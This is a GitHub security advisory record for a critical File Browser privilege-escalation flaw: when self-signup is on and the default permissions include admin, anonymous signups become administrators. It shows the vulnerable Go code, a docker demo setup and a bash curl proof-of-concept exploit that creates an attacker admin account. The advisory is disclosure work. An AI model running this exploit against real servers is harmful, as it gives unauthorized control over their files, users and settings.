{"schema_version":"1.7.5","id":"GHSA-5gg9-5g7w-hm73","published":"2026-03-16T20:44:20Z","modified":"2026-03-30T14:00:05Z","aliases":["CVE-2026-32760","GO-2026-4710"],"summary":"File Browser Signup Grants Admin When Default Permissions Include Admin","details":"## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** http/auth.go\n\n**Vulnerable code:**\n```go\nuser := &users.User{\n    Username: info.Username,\n}\nd.settings.Defaults.Apply(user)\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n    u.Perm = d.Perm\n    ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n    ...\n    d.settings.Defaults = req.Defaults\n    ...\n})\n```\n\nThe signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-test \\\n  -p 8080:80 \\\n  -v /tmp/fb-data:/srv \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"signup\": true,\n    \"defaults\": {\n      \"perm\": {\n        \"admin\": true,\n        \"execute\": true,\n        \"create\": true,\n        \"rename\": true,\n        \"modify\": true,\n        \"delete\": true,\n        \"share\": true,\n        \"download\": true\n      }\n    }\n  }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$TARGET/api/signup\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n  -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n  -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.\n\n## Impact\n\nAny unauthenticated visitor who can reach POST /api/signup obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if enableExec = true","affected":[{"package":{"name":"github.com/filebrowser/filebrowser/v2","ecosystem":"Go","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.62.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.61.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5gg9-5g7w-hm73/GHSA-5gg9-5g7w-hm73.json"}}],"references":[{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32760"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/commit/a63573b67eb302167b4c4f218361a2d0c138deab"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.62.0"}],"database_specific":{"cwe_ids":["CWE-269","CWE-284"],"github_reviewed":true,"github_reviewed_at":"2026-03-16T20:44:20Z","nvd_published_at":"2026-03-20T00:16:17Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}